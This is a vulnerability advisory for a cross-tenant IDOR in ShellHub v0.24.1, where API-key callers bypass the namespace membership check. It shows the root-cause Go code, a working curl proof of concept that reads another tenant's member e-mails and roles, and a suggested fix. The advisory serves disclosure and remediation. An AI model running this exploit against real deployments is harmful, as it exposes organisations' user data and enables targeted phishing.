CVE-2026-44426: ShellHub: Cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check

Summary GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions ShellHub Community v0.24.1 (validated).

Root cause api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

go var uid string if c.ID() != nil { uid = c.ID().ID }

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant) if err != nil || ns == nil { return c.NoContent(http.StatusNotFound) }

if uid != "" { // ⚠️ skipped when API Key is used if , ok := ns.FindMember(uid); !ok { return c.NoContent(http.StatusForbidden) } }

return c.JSON(http.StatusOK, ns)

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

bash # Attacker authenticates in their own namespace and mints an API Key ATTACKERTOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKERKEY=$(curl -s -X POST http://target/api/namespaces/api-key \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","expiresat":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "Authorization: Bearer $ATTACKERTOKEN" # Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "X-API-Key: $ATTACKERKEY" # Observed: HTTP 200 + {name, owner, tenantid, members:[{id,email,role,addedat},...], # settings, maxdevices, devicesacceptedcount, type, createdat}

Impact - Enumeration of any ShellHub namespace by tenant UUID. - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization. - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix Two layers:

1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

go // nsadm.go GetNamespace if c.Tenant() != nil && c.Tenant().ID != req.Tenant { return c.NoContent(http.StatusForbidden) }